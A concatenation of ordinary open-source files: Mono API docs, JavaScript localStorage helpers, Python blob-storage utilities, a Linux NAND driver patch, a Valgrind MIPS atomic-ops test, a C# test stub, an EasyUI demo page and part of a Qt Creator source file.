<attribution license="cc4" from="Microsoft" modified="false" />The one-dimensional <see cref="T:System.Array" /> that is the destination of the values copied from <see cref="T:System.ComponentModel.Design.DesignSurfaceCollection" />.</param>
<param name="index">
<attribution license="cc4" from="Microsoft" modified="false" />The index in <paramref name="array" /> where copying begins.</param>
</Docs>
</Member>
<Member MemberName="System.Collections.ICollection.Count">
<MemberSignature Language="C#" Value="int System.Collections.ICollection.Count { get; }" />
<MemberType>Property</MemberType>
<AssemblyInfo>
<AssemblyVersion>2.0.0.0</AssemblyVersion>
</AssemblyInfo>
<ReturnValue>
<ReturnType>System.Int32</ReturnType>
</ReturnValue>
<Docs>
<value>To be added.</value>
<remarks>
<attribution license="cc4" from="Microsoft" modified="false" />
<para>This member is an explicit interface member implementation. It can be used only when the <see cref="T:System.ComponentModel.Design.DesignSurfaceCollection" /> instance is cast to an <see cref="T:System.Collections.ICollection" /> interface.</para>
</remarks>
<summary>
<attribution license="cc4" from="Microsoft" modified="false" />
<para>For a description of this member, see the <see cref="P:System.Collections.ICollection.Count" /> property.</para>
</summary>
</Docs>
</Member>
<Member MemberName="System.Collections.ICollection.IsSynchronized">
<MemberSignature Language="C#" Value="bool System.Collections.ICollection.IsSynchronized { get; }" />
<MemberType>Property</MemberType>
<AssemblyInfo>
<AssemblyVersion>2.0.0.0</AssemblyVersion>
</AssemblyInfo>
<ReturnValue>
<ReturnType>System.Boolean</ReturnType>
</ReturnValue>
<Docs>
<value>To be added.</value>
<remarks>
<attribution license="cc4" from="Microsoft" modified="false" />
<para>This member is an explicit interface member implementation. It can be used only when the <see cref="T:System.ComponentModel.Design.DesignSurfaceCollection" /> instance is cast to an <see cref="T:System.Collections.ICollection" /> interface.</para>
</remarks>
<summary>
<attribution license="cc4" from="Microsoft" modified="false" />
<para>For a description of this member, see the <see cref="P:System.Collections.ICollection.IsSynchronized" /> property.</para>
</summary>
</Docs>
</Member>
<Member MemberName="System.Collections.ICollection.SyncRoot">
<MemberSignature Language="C#" Value="object System.Collections.ICollection.SyncRoot { get; }" />
<MemberType>Property</MemberType>
<AssemblyInfo>
<AssemblyVersion>2.0.0.0</AssemblyVersion>
</AssemblyInfo>
<ReturnValue>
<ReturnType>System.Object</ReturnType>
</ReturnValue>
<Docs>
<value>To be added.</value>
<remarks>
<attribution license="cc4" from="Microsoft" modified="false" />
<para>This member is an explicit interface member implementation. It can be used only when the <see cref="T:System.ComponentModel.Design.DesignSurfaceCollection" /> instance is cast to an <see cref="T:System.Collections.ICollection" /> interface.</para>
</remarks>
<summary>
<attribution license="cc4" from="Microsoft" modified="false" />
<para>For a description of this member, see the <see cref="P:System.Collections.ICollection.SyncRoot" /> property.</para>
</summary>
</Docs>
</Member>
<Member MemberName="System.Collections.IEnumerable.GetEnumerator">
<MemberSignature Language="C#" Value="System.Collections.IEnumerator IEnumerable.GetEnumerator ();" />
<MemberType>Method</MemberType>
<AssemblyInfo>
<AssemblyVersion>2.0.0.0</AssemblyVersion>
</AssemblyInfo>
<ReturnValue>
<ReturnType>System.Collections.IEnumerator</ReturnType>
</ReturnValue>
<Parameters />
<Docs>
<remarks>
<attribution license="cc4" from="Microsoft" modified="false" />
<para>This member is an explicit interface member implementation. It can be used only when the <see cref="T:System.ComponentModel.Design.DesignSurfaceCollection" /> instance is cast to an <see cref="T:System.Collections.IEnumerator" /> interface.</para>
</remarks>
<summary>
<attribution license="cc4" from="Microsoft" modified="false" />
<para>For a description of this member, see the <see cref="M:System.Collections.IEnumerable.GetEnumerator" /> method.</para>
</summary>
<returns>
<attribution license="cc4" from="Microsoft" modified="false" />
<para>An <see cref="T:System.Collections.IEnumerator" /> for the <see cref="T:System.ComponentModel.Design.DesignSurfaceCollection" /> instance.</para>
</returns>
</Docs>
</Member>
</Members>
</Type> | {
"pile_set_name": "Github"
} |
export const setItem = (key, value) => {
if (window.localStorage) {
return window.localStorage.setItem(key, value)
}
}
export const getItem = key => {
if (window.localStorage) {
return window.localStorage.getItem(key)
}
}
export const populateData = data => {
setItem('inProgress', 'true')
const { position, progress, next, previous, items } = data
const answers = Object.assign({}, data.answers)
setItem('b5data', JSON.stringify({ progress, next, previous, answers, position, items }))
}
export const restoreData = () => {
const data = getItem('b5data')
return JSON.parse(data)
}
export const getProgress = () => !!getItem('inProgress')
export const clearItems = () => {
if (window.localStorage) {
window.localStorage.clear()
}
}
| {
"pile_set_name": "Github"
} |
import weakref
from base64 import urlsafe_b64encode, b64encode
from collections import deque
from datetime import datetime
from gzip import GzipFile
import hashlib
import os
import re
from io import RawIOBase
from jsonfield import JSONField
from corehq.blobs.exceptions import BadName, GzipStreamError
SAFENAME = re.compile("^[a-z0-9_./{}-]+$", re.IGNORECASE)
class NullJsonField(JSONField):
"""A JSONField that stores null when its value is empty
Any value stored in this field will be discarded and replaced with
the default if it evaluates to false during serialization.
"""
def __init__(self, **kw):
kw.setdefault("null", True)
super(NullJsonField, self).__init__(**kw)
assert self.null
def get_db_prep_value(self, value, *args, **kw):
if not value:
value = None
return super(NullJsonField, self).get_db_prep_value(value, *args, **kw)
def to_python(self, value):
value = super(NullJsonField, self).to_python(value)
return self.get_default() if value is None else value
def pre_init(self, value, obj):
value = super(NullJsonField, self).pre_init(value, obj)
return self.get_default() if value is None else value
class GzipStream:
"""Wrapper for a file like object that compresses the data as it is read
Adapted from https://stackoverflow.com/a/31566082
"""
CHUNK_SIZE = 4096
def __init__(self, fileobj):
self._input = fileobj
self._buf = _IoBuffer()
self._gzip = GzipFile(None, mode='wb', fileobj=self._buf)
self._content_length = 0
@property
def content_length(self):
"""Size of uncompressed data
Can only be accessed once stream has beenfully read.
"""
if not self._gzip.closed or self._content_length is None:
raise GzipStreamError("cannot read length before full stream")
return self._content_length
def read(self, size=-1):
while size < 0 or len(self._buf) < size:
chunk = self._input.read(self.CHUNK_SIZE)
if not chunk:
self._gzip.close()
break
self._content_length += len(chunk)
self._gzip.write(chunk)
return self._buf.read(size)
def close(self):
if not self._gzip.closed:
self._content_length = None
self._input.close()
self._gzip.close()
self._buf.close()
class _IoBuffer:
def __init__(self):
self.buffer = deque()
self.size = 0
def __len__(self):
return self.size
def write(self, data):
self.buffer.append(data)
self.size += len(data)
def read(self, size=-1):
if size < 0:
size = self.size
ret_list = []
while size > 0 and self.buffer:
s = self.buffer.popleft()
size -= len(s)
ret_list.append(s)
if size < 0:
ret_list[-1], remainder = ret_list[-1][:size], ret_list[-1][size:]
self.buffer.appendleft(remainder)
ret = b''.join(ret_list)
self.size -= len(ret)
return ret
def flush(self):
pass
def close(self):
self.buffer = None
self.size = 0
class document_method(object):
"""Document method
A document method is a twist between a static method and an instance
method. It can be called as a normal instance method, in which case
the first argument (`self`) is an instance of the method's class
type, or it can be called like a static method:
Document.method(obj, other, args)
in which case the first argument is passed as `self` and need not
be an instance of `Document`.
"""
def __init__(self, func):
self.func = func
def __get__(self, obj, owner):
if obj is None:
return self.func
return self.func.__get__(obj, owner)
class classproperty(object):
"""https://stackoverflow.com/a/5192374/10840"""
def __init__(self, func):
self.func = func
def __get__(self, obj, owner):
return self.func(owner)
def random_url_id(nbytes):
"""Get a random URL-safe ID string
:param nbytes: Number of random bytes to include in the ID.
:returns: A URL-safe string.
"""
return urlsafe_b64encode(os.urandom(nbytes)).decode('ascii').rstrip('=')
def check_safe_key(key):
"""Perform some basic checks on a potential blob key
This method makes a best-effort attempt to verify that the key is
safe for all blob db backends. It will not necessarily detect all
unsafe keys.
:raises: BadName if key is unsafe.
"""
if (key.startswith(("/", ".")) or
"/../" in key or
key.endswith("/..") or
not SAFENAME.match(key)):
raise BadName("unsafe key: %r" % key)
def _utcnow():
return datetime.utcnow()
def get_content_md5(fileobj):
"""Get Content-MD5 value
All content will be read from the current position to the end of the
file. The file will be left open with its seek position at the end
of the file.
:param fileobj: A file-like object.
:returns: RFC-1864-compliant Content-MD5 header value.
"""
md5 = hashlib.md5()
for chunk in iter(lambda: fileobj.read(1024 * 1024), b''):
md5.update(chunk)
return b64encode(md5.digest()).decode('ascii')
def set_max_connections(num_workers):
"""Set max connections for urllib3
The default is 10. When using something like gevent to process
multiple S3 connections conucurrently it is necessary to set max
connections equal to the number of workers to avoid
`WARNING Connection pool is full, discarding connection: ...`
This must be called before `get_blob_db()` is called.
See botocore.config.Config max_pool_connections
https://botocore.amazonaws.com/v1/documentation/api/latest/reference/config.html
"""
from django.conf import settings
from corehq.blobs import _db
def update_config(name):
config = getattr(settings, name)["config"]
config["max_pool_connections"] = num_workers
assert not _db, "get_blob_db() has been called"
for name in ["S3_BLOB_DB_SETTINGS", "OLD_S3_BLOB_DB_SETTINGS"]:
if getattr(settings, name, False):
update_config(name)
class BlobStream(RawIOBase):
"""Wrapper around the raw stream with additional properties for convenient access:
* blob_key
* content_length
* compressed_length (will be None if blob is not compressed)
"""
def __init__(self, stream, blob_db, blob_key, content_length, compressed_length):
self._obj = stream
self._blob_db = weakref.ref(blob_db)
self.blob_key = blob_key
self.content_length = content_length
self.compressed_length = compressed_length
def readable(self):
return True
def read(self, *args, **kw):
return self._obj.read(*args, **kw)
read1 = read
def write(self, *args, **kw):
raise IOError
def tell(self):
tell = getattr(self._obj, 'tell', None)
if tell is not None:
return tell()
return self._obj._amount_read
def seek(self, offset, from_what=os.SEEK_SET):
if from_what != os.SEEK_SET:
raise ValueError("seek mode not supported")
pos = self.tell()
if offset != pos:
raise ValueError("seek not supported")
return pos
def close(self):
self._obj.close()
return super(BlobStream, self).close()
def __getattr__(self, name):
return getattr(self._obj, name)
@property
def blob_db(self):
return self._blob_db()
def get_content_size(fileobj, chunks_sent):
"""
:param fileobj: content object written to the backend
:param chunks_sent: list of chunk sizes sent
:return: tuple(uncompressed_size, compressed_size or None)
"""
if isinstance(fileobj, GzipStream):
return fileobj.content_length, sum(chunks_sent)
return sum(chunks_sent), None
| {
"pile_set_name": "Github"
} |
Content-Type: text/plain; charset="utf-8"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Subject: [v3,
1/5] mtd: nand: Create a BBT flag to access bad block markers in raw
mode
From: Archit Taneja <[email protected]>
X-Patchwork-Id: 6927081
Message-Id: <[email protected]>
To: [email protected], [email protected],
[email protected], [email protected]
Cc: [email protected], [email protected],
[email protected], [email protected],
Archit Taneja <[email protected]>
Date: Mon, 3 Aug 2015 10:38:14 +0530
Some controllers can access the factory bad block marker from OOB only
when they read it in raw mode. When ECC is enabled, these controllers
discard reading/writing bad block markers, preventing access to them
altogether.
The bbt driver assumes MTD_OPS_PLACE_OOB when scanning for bad blocks.
This results in the nand driver's ecc->read_oob() op to be called, which
works with ECC enabled.
Create a new BBT option flag that tells nand_bbt to force the mode to
MTD_OPS_RAW. This would result in the correct op being called for the
underlying nand controller driver.
Reviewed-by: Andy Gross <[email protected]>
Signed-off-by: Archit Taneja <[email protected]>
---
drivers/mtd/nand/nand_base.c | 6 +++++-
drivers/mtd/nand/nand_bbt.c | 6 +++++-
include/linux/mtd/bbm.h | 7 +++++++
3 files changed, 17 insertions(+), 2 deletions(-)
--- a/drivers/mtd/nand/nand_base.c
+++ b/drivers/mtd/nand/nand_base.c
@@ -396,7 +396,11 @@ static int nand_default_block_markbad(st
} else {
ops.len = ops.ooblen = 1;
}
- ops.mode = MTD_OPS_PLACE_OOB;
+
+ if (unlikely(chip->bbt_options & NAND_BBT_ACCESS_BBM_RAW))
+ ops.mode = MTD_OPS_RAW;
+ else
+ ops.mode = MTD_OPS_PLACE_OOB;
/* Write to first/last page(s) if necessary */
if (chip->bbt_options & NAND_BBT_SCANLASTPAGE)
--- a/drivers/mtd/nand/nand_bbt.c
+++ b/drivers/mtd/nand/nand_bbt.c
@@ -423,7 +423,11 @@ static int scan_block_fast(struct mtd_in
ops.oobbuf = buf;
ops.ooboffs = 0;
ops.datbuf = NULL;
- ops.mode = MTD_OPS_PLACE_OOB;
+
+ if (unlikely(bd->options & NAND_BBT_ACCESS_BBM_RAW))
+ ops.mode = MTD_OPS_RAW;
+ else
+ ops.mode = MTD_OPS_PLACE_OOB;
for (j = 0; j < numpages; j++) {
/*
--- a/include/linux/mtd/bbm.h
+++ b/include/linux/mtd/bbm.h
@@ -116,6 +116,13 @@ struct nand_bbt_descr {
#define NAND_BBT_NO_OOB_BBM 0x00080000
/*
+ * Force MTD_OPS_RAW mode when trying to access bad block markes from OOB. To
+ * be used by controllers which can access BBM only when ECC is disabled, i.e,
+ * when in RAW access mode
+ */
+#define NAND_BBT_ACCESS_BBM_RAW 0x00100000
+
+/*
* Flag set by nand_create_default_bbt_descr(), marking that the nand_bbt_descr
* was allocated dynamicaly and must be freed in nand_release(). Has no meaning
* in nand_chip.bbt_options.
| {
"pile_set_name": "Github"
} |
/* This is an example of a program which does cavium atomic memory operations
between two processes which share a page. This test is based on :
memcheck/tests/atomic_incs.c */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <assert.h>
#include <unistd.h>
#include <sys/wait.h>
#include "tests/sys_mman.h"
#define N 19
#define NNN 3456987 // Number of repetition.
/* Expected values */
long long int p1_expd[N] = { 2156643710, 2156643710, 3456986, 6913974,
4288053322, 0, 4294967295,
6913974, 21777111,
3456986, 2153186724,
6913974, 21777111,
4294967295, 4288053323, // Test 14
4288053322, 4273190185, // Test 16
0, 0 }; // Test 18
long long int p2_expd[N] = { 12633614303292, 12633614303292, 3555751, 6913974,
-6913974, 0, -1,
6913974, 23901514779351,
3456986, 11950752204196,
6913974, 23901514779351,
-1, -6913973, // Test 15
-6913974, -23901514779351, // Test 17
0, 0 }; // Test 19
#define IS_8_ALIGNED(_ptr) (0 == (((unsigned long)(_ptr)) & 7))
__attribute__((noinline)) void atomic_saa ( long long int* p, int n )
{
#if (_MIPS_ARCH_OCTEON2)
unsigned long block[2] = { (unsigned long)p, (unsigned long)n };
__asm__ __volatile__(
"move $t0, %0" "\n\t"
"ld $t1, 0($t0)" "\n\t" // p
"ld $t2, 8($t0)" "\n\t" // n
"saa $t2, ($t1)" "\n\t"
: /*out*/
: /*in*/ "r"(&block[0])
: /*trash*/ "memory", "t0", "t1", "t2"
);
#endif
}
__attribute__((noinline)) void atomic_saad ( long long int* p, int n )
{
#if (_MIPS_ARCH_OCTEON2)
unsigned long block[2] = { (unsigned long)p, (unsigned long)n };
__asm__ __volatile__(
"move $t0, %0" "\n\t"
"ld $t1, 0($t0)" "\n\t" // p
"ld $t2, 8($t0)" "\n\t" // n
"saad $t2, ($t1)" "\n\t"
: /*out*/
: /*in*/ "r"(&block[0])
: /*trash*/ "memory", "t0", "t1", "t2"
);
#endif
}
__attribute__((noinline)) void atomic_laa ( long long int* p, int n )
{
#if (_MIPS_ARCH_OCTEON2)
unsigned long block[2] = { (unsigned long)p, (unsigned long)n };
__asm__ __volatile__(
"move $t0, %0" "\n\t"
"ld $t1, 0($t0)" "\n\t" // p
"ld $t2, 8($t0)" "\n\t" // n
"laa $t3, ($t1), $t2" "\n\t"
: /*out*/
: /*in*/ "r"(&block[0])
: /*trash*/ "memory", "t0", "t1", "t2"
);
#endif
}
__attribute__((noinline)) void atomic_laad ( long long int* p, int n )
{
#if (_MIPS_ARCH_OCTEON2)
unsigned long block[2] = { (unsigned long)p, (unsigned long)n };
__asm__ __volatile__(
"move $t0, %0" "\n\t"
"ld $t1, 0($t0)" "\n\t" // p
"ld $t2, 8($t0)" "\n\t" // n
"laad $t3, ($t1), $t2" "\n\t"
: /*out*/
: /*in*/ "r"(&block[0])
: /*trash*/ "memory", "t0", "t1", "t2", "t3"
);
#endif
}
__attribute__((noinline)) void atomic_law ( long long int* p, int n )
{
#if (_MIPS_ARCH_OCTEON2)
unsigned long block[2] = { (unsigned long)p, (unsigned long)n };
__asm__ __volatile__(
"move $t0, %0" "\n\t"
"ld $t1, 0($t0)" "\n\t" // p
"ld $t2, 8($t0)" "\n\t" // n
"law $t3, ($t1), $t2" "\n\t"
: /*out*/
: /*in*/ "r"(&block[0])
: /*trash*/ "memory", "t0", "t1", "t2"
);
#endif
}
__attribute__((noinline)) void atomic_lawd ( long long int* p, int n )
{
#if (_MIPS_ARCH_OCTEON2)
unsigned long block[2] = { (unsigned long)p, (unsigned long)n };
__asm__ __volatile__(
"move $t0, %0" "\n\t"
"ld $t1, 0($t0)" "\n\t" // p
"ld $t2, 8($t0)" "\n\t" // n
"lawd $t3, ($t1), $t2" "\n\t"
: /*out*/
: /*in*/ "r"(&block[0])
: /*trash*/ "memory", "t0", "t1", "t2", "t3"
);
#endif
}
__attribute__((noinline)) void atomic_lai ( long long int* p )
{
#if (_MIPS_ARCH_OCTEON2)
unsigned long block[2] = { (unsigned long)p };
__asm__ __volatile__(
"move $t0, %0" "\n\t"
"ld $t1, 0($t0)" "\n\t" // p
"ld $t2, 8($t0)" "\n\t" // n
"lai $t2, ($t1)" "\n\t"
: /*out*/
: /*in*/ "r"(&block[0])
: /*trash*/ "memory", "t0", "t1", "t2"
);
#endif
}
__attribute__((noinline)) void atomic_laid ( long long int* p )
{
#if (_MIPS_ARCH_OCTEON2)
unsigned long block[2] = { (unsigned long)p };
__asm__ __volatile__(
"move $t0, %0" "\n\t"
"ld $t1, 0($t0)" "\n\t" // p
"ld $t2, 8($t0)" "\n\t" // n
"laid $t2, ($t1)" "\n\t"
: /*out*/
: /*in*/ "r"(&block[0])
: /*trash*/ "memory", "t0", "t1", "t2"
);
#endif
}
__attribute__((noinline)) void atomic_lad ( long long int* p )
{
#if (_MIPS_ARCH_OCTEON2)
unsigned long block[2] = { (unsigned long)p };
__asm__ __volatile__(
"move $t0, %0" "\n\t"
"ld $t1, 0($t0)" "\n\t" // p
"ld $t2, 8($t0)" "\n\t" // n
"lad $t2, ($t1)" "\n\t"
: /*out*/
: /*in*/ "r"(&block[0])
: /*trash*/ "memory", "t0", "t1", "t2"
);
#endif
}
__attribute__((noinline)) void atomic_ladd ( long long int* p )
{
#if (_MIPS_ARCH_OCTEON2)
unsigned long block[2] = { (unsigned long)p };
__asm__ __volatile__(
"move $t0, %0" "\n\t"
"ld $t1, 0($t0)" "\n\t" // p
"ld $t2, 8($t0)" "\n\t" // n
"ladd $t2, ($t1)" "\n\t"
: /*out*/
: /*in*/ "r"(&block[0])
: /*trash*/ "memory", "t0", "t1", "t2"
);
#endif
}
__attribute__((noinline)) void atomic_lac ( long long int* p )
{
#if (_MIPS_ARCH_OCTEON2)
unsigned long block[2] = { (unsigned long)p };
__asm__ __volatile__(
"move $t0, %0" "\n\t"
"ld $t1, 0($t0)" "\n\t" // p
"ld $t2, 8($t0)" "\n\t" // n
"lac $t2, ($t1)" "\n\t"
: /*out*/
: /*in*/ "r"(&block[0])
: /*trash*/ "memory", "t0", "t1", "t2"
);
#endif
}
__attribute__((noinline)) void atomic_lacd ( long long int* p )
{
#if (_MIPS_ARCH_OCTEON2)
unsigned long block[2] = { (unsigned long)p };
__asm__ __volatile__(
"move $t0, %0" "\n\t"
"ld $t1, 0($t0)" "\n\t" // p
"ld $t2, 8($t0)" "\n\t" // n
"lacd $t2, ($t1)" "\n\t"
: /*out*/
: /*in*/ "r"(&block[0])
: /*trash*/ "memory", "t0", "t1", "t2"
);
#endif
}
__attribute__((noinline)) void atomic_las ( long long int* p )
{
#if (_MIPS_ARCH_OCTEON2)
unsigned long block[2] = { (unsigned long)p };
__asm__ __volatile__(
"move $t0, %0" "\n\t"
"ld $t1, 0($t0)" "\n\t" // p
"ld $t2, 8($t0)" "\n\t" // n
"las $t2, ($t1)" "\n\t"
: /*out*/
: /*in*/ "r"(&block[0])
: /*trash*/ "memory", "t0", "t1", "t2"
);
#endif
}
__attribute__((noinline)) void atomic_lasd ( long long int* p )
{
#if (_MIPS_ARCH_OCTEON2)
unsigned long block[2] = { (unsigned long)p };
__asm__ __volatile__(
"move $t0, %0" "\n\t"
"ld $t1, 0($t0)" "\n\t" // p
"ld $t2, 8($t0)" "\n\t" // n
"lasd $t2, ($t1)" "\n\t"
: /*out*/
: /*in*/ "r"(&block[0])
: /*trash*/ "memory", "t0", "t1", "t2"
);
#endif
}
#define TRIOP_AND_SAA(instruction, base1, base2, n) \
{ \
__asm__ __volatile__( \
instruction" $t0, (%0), %2" "\n\t" \
"saa $t0, (%1)" "\n\t" \
: /*out*/ \
: /*in*/ "r"(base1), "r"(base2), "r"(n) \
: /*trash*/ "memory", "t0" \
); \
}
#define TRIOP_AND_SAAD(instruction, base1, base2, n) \
{ \
__asm__ __volatile__( \
instruction" $t0, (%0), %2" "\n\t" \
"saad $t0, (%1)" "\n\t" \
: /*out*/ \
: /*in*/ "r"(base1), "r"(base2), "r"(n) \
: /*trash*/ "memory", "t0" \
); \
}
#define BINOP_AND_SAA(instruction, base1, base2) \
{ \
__asm__ __volatile__( \
instruction" $t0, (%0)" "\n\t" \
"saa $t0, (%1)" "\n\t" \
: /*out*/ \
: /*in*/ "r"(base1), "r"(base2) \
: /*trash*/ "memory", "t0" \
); \
}
#define BINOP_AND_SAAD(instruction, base1, base2) \
{ \
__asm__ __volatile__( \
instruction" $t0, (%0)" "\n\t" \
"saad $t0, (%1)" "\n\t" \
: /*out*/ \
: /*in*/ "r"(base1), "r"(base2) \
: /*trash*/ "memory", "t0" \
); \
}
int main ( int argc, char** argv )
{
#if (_MIPS_ARCH_OCTEON2)
int i, status;
char* page[N];
long long int* p1[N];
long long int* p2[N];
pid_t child, pc2;
printf("parent, pre-fork\n");
for (i = 0; i < N; i++) {
page[i] = mmap( 0, sysconf(_SC_PAGESIZE),
PROT_READ|PROT_WRITE,
MAP_ANONYMOUS|MAP_SHARED, -1, 0 );
if (page[i] == MAP_FAILED) {
perror("mmap failed");
exit(1);
}
p1[i] = (long long int*)(page[i]+0);
p2[i] = (long long int*)(page[i]+256);
assert( IS_8_ALIGNED(p1[i]) );
assert( IS_8_ALIGNED(p2[i]) );
memset(page[i], 0, 1024);
memset(page[i], 0, 1024);
*p1[i] = 0;
*p2[i] = 0;
}
child = fork();
if (child == -1) {
perror("fork() failed\n");
return 1;
}
if (child == 0) {
/* --- CHILD --- */
printf("child\n");
for (i = 0; i < NNN; i++) {
atomic_saa(p1[0], i);
atomic_saad(p2[0], i+98765 ); /* ensure we hit the upper 32 bits */
atomic_laa(p1[1], i);
atomic_laad(p2[1], i+98765 ); /* ensure we hit the upper 32 bits */
atomic_law(p1[2], i);
atomic_lawd(p2[2], i+98765 ); /* ensure we hit the upper 32 bits */
atomic_lai(p1[3]);
atomic_laid(p2[3]);
atomic_lad(p1[4]);
atomic_ladd(p2[4]);
atomic_lac(p1[5]);
atomic_lacd(p2[5]);
atomic_las(p1[6]);
atomic_lasd(p2[6]);
TRIOP_AND_SAA("laa ", p1[7], p1[8], 1)
TRIOP_AND_SAAD("laad ", p2[7], p2[8], 1)
TRIOP_AND_SAA("law ", p1[9], p1[10], i)
TRIOP_AND_SAAD("lawd ", p2[9], p2[10], i)
BINOP_AND_SAA("lai ", p1[11], p1[12])
BINOP_AND_SAAD("laid ", p2[11], p2[12])
BINOP_AND_SAA("las ", p1[13], p1[14])
BINOP_AND_SAAD("lasd ", p2[13], p2[14])
BINOP_AND_SAA("lad ", p1[15], p1[16])
BINOP_AND_SAAD("ladd ", p2[15], p2[16])
BINOP_AND_SAA("lac ", p1[17], p1[18])
BINOP_AND_SAAD("lacd ", p2[17], p2[18])
}
return 1;
/* NOTREACHED */
}
/* --- PARENT --- */
printf("parent\n");
for (i = 0; i < NNN; i++) {
atomic_saa(p1[0], i);
atomic_saad(p2[0], i+98765); /* ensure we hit the upper 32 bits */
atomic_laa(p1[1], i);
atomic_laad(p2[1], i+98765); /* ensure we hit the upper 32 bits */
atomic_law(p1[2], i);
atomic_lawd(p2[2], i+98765 ); /* ensure we hit the upper 32 bits */
atomic_lai(p1[3]);
atomic_laid(p2[3]);
atomic_lad(p1[4]);
atomic_ladd(p2[4]);
atomic_lac(p1[5]);
atomic_lacd(p2[5]);
atomic_las(p1[6]);
atomic_lasd(p2[6]);
TRIOP_AND_SAA("laa ", p1[7], p1[8], 1)
TRIOP_AND_SAAD("laad ", p2[7], p2[8], 1)
TRIOP_AND_SAA("law ", p1[9], p1[10], i)
TRIOP_AND_SAAD("lawd ", p2[9], p2[10], i)
BINOP_AND_SAA("lai ", p1[11], p1[12])
BINOP_AND_SAAD("laid ", p2[11], p2[12])
BINOP_AND_SAA("las ", p1[13], p1[14])
BINOP_AND_SAAD("lasd ", p2[13], p2[14])
BINOP_AND_SAA("lad ", p1[15], p1[16])
BINOP_AND_SAAD("ladd ", p2[15], p2[16])
BINOP_AND_SAA("lac ", p1[17], p1[18])
BINOP_AND_SAAD("lacd ", p2[17], p2[18])
}
pc2 = waitpid(child, &status, 0);
assert(pc2 == child);
/* assert that child finished normally */
assert(WIFEXITED(status));
printf("Store Atomic Add: 32 bit %lld, 64 bit %lld\n", *p1[0], *p2[0]);
printf("Load Atomic Add: 32 bit %lld, 64 bit %lld\n", *p1[1], *p2[1]);
printf("Load Atomic Swap: 32 bit %lld, 64 bit %lld\n", *p1[2], *p2[2]);
printf("Load Atomic Increment: 32 bit %lld, 64 bit %lld\n", *p1[3], *p2[3]);
printf("Load Atomic Decrement: 32 bit %lld, 64 bit %lld\n", *p1[4], *p2[4]);
printf("Load Atomic Clear: 32 bit %lld, 64 bit %lld\n", *p1[5], *p2[5]);
printf("Load Atomic Set: 32 bit %lld, 64 bit %lld\n", *p1[6], *p2[6]);
printf("laa and saa: base1: %lld, base2: %lld\n", *p1[7], *p1[8]);
printf("laad and saad: base1: %lld, base2: %lld\n", *p2[7], *p2[8]);
printf("law and saa: base1: %lld, base2: %lld\n", *p1[9], *p1[10]);
printf("lawd and saad: base1: %lld, base2: %lld\n", *p2[9], *p2[10]);
printf("lai and saa: base1: %lld, base2: %lld\n", *p1[11], *p1[12]);
printf("laid and saad: base1: %lld, base2: %lld\n", *p2[11], *p2[12]);
printf("las and saa: base1: %lld, base2: %lld\n", *p1[13], *p1[14]);
printf("lasd and saad: base1: %lld, base2: %lld\n", *p2[13], *p2[14]);
printf("lad and saa: base1: %lld, base2: %lld\n", *p1[15], *p1[16]);
printf("ladd and saad: base1: %lld, base2: %lld\n", *p2[15], *p2[16]);
printf("lac and saa: base1: %lld, base2: %lld\n", *p1[17], *p1[18]);
printf("lacd and saad: base1: %lld, base2: %lld\n", *p2[17], *p2[18]);
for (i = 0; i < N; i++) {
if (p1_expd[i] == *p1[i] && p2_expd[i] == *p2[i]) {
printf("PASS %d\n", i+1);
} else {
printf("FAIL %d -- see source code for expected values\n", i+1);
}
}
printf("parent exits\n");
#endif
return 0;
}
| {
"pile_set_name": "Github"
} |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using MarkdownDeep;
using NUnit.Framework;
using System.Windows.Forms;
namespace MarkdownDeepTests
{
[TestFixture, RequiresSTA]
class JavascriptTests : Form
{
[SetUp]
public void SetUp()
{
}
[Test]
public void test()
{
}
}
}
| {
"pile_set_name": "Github"
} |
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Custom Window Tools - jQuery EasyUI Demo</title>
<link rel="stylesheet" type="text/css" href="../../themes/default/easyui.css">
<link rel="stylesheet" type="text/css" href="../../themes/icon.css">
<link rel="stylesheet" type="text/css" href="../demo.css">
<script type="text/javascript" src="../../jquery.min.js"></script>
<script type="text/javascript" src="../../jquery.easyui.min.js"></script>
</head>
<body>
<h2>Custom Window Tools</h2>
<p>Click the right top buttons to perform actions.</p>
<div style="margin:20px 0;">
<a href="javascript:void(0)" class="easyui-linkbutton" onclick="$('#w').window('open')">Open</a>
<a href="javascript:void(0)" class="easyui-linkbutton" onclick="$('#w').window('close')">Close</a>
</div>
<div id="w" class="easyui-window" title="Custom Window Tools" data-options="iconCls:'icon-save',minimizable:false,tools:'#tt'" style="width:500px;height:200px;padding:10px;">
The window content.
</div>
<div id="tt">
<a href="javascript:void(0)" class="icon-add" onclick="javascript:alert('add')"></a>
<a href="javascript:void(0)" class="icon-edit" onclick="javascript:alert('edit')"></a>
<a href="javascript:void(0)" class="icon-cut" onclick="javascript:alert('cut')"></a>
<a href="javascript:void(0)" class="icon-help" onclick="javascript:alert('help')"></a>
</div>
</body>
</html> | {
"pile_set_name": "Github"
} |
/****************************************************************************
**
** Copyright (C) 2012 Digia Plc and/or its subsidiary(-ies).
** Contact: http://www.qt-project.org/legal
**
** This file is part of Qt Creator.
**
** Commercial License Usage
** Licensees holding valid commercial Qt licenses may use this file in
** accordance with the commercial license agreement provided with the
** Software or, alternatively, in accordance with the terms contained in
** a written agreement between you and Digia. For licensing terms and
** conditions see http://qt.digia.com/licensing. For further information
** use the contact form at http://qt.digia.com/contact-us.
**
** GNU Lesser General Public License Usage
** Alternatively, this file may be used under the terms of the GNU Lesser
** General Public License version 2.1 as published by the Free Software
** Foundation and appearing in the file LICENSE.LGPL included in the
** packaging of this file. Please review the following information to
** ensure the GNU Lesser General Public License version 2.1 requirements
** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
**
** In addition, as a special exception, Digia gives you certain additional
** rights. These rights are described in the Digia Qt LGPL Exception
** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
**
****************************************************************************/
#include "componentversion.h"
#include <QString>
#include <limits>
using namespace LanguageUtils;
const int ComponentVersion::NoVersion = -1;
const int ComponentVersion::MaxVersion = std::numeric_limits<int>::max();
ComponentVersion::ComponentVersion()
: _major(NoVersion), _minor(NoVersion)
{
}
ComponentVersion::ComponentVersion(int major, int minor)
: _major(major), _minor(minor)
{
}
ComponentVersion::ComponentVersion(const QString &versionString)
: _major(NoVersion), _minor(NoVersion)
{
int dotIdx = versionString.indexOf(QLatin1Char('.'));
if (dotIdx == -1)
return;
bool ok = false;
int maybeMajor = versionString.left(dotIdx).toInt(&ok);
if (!ok)
return;
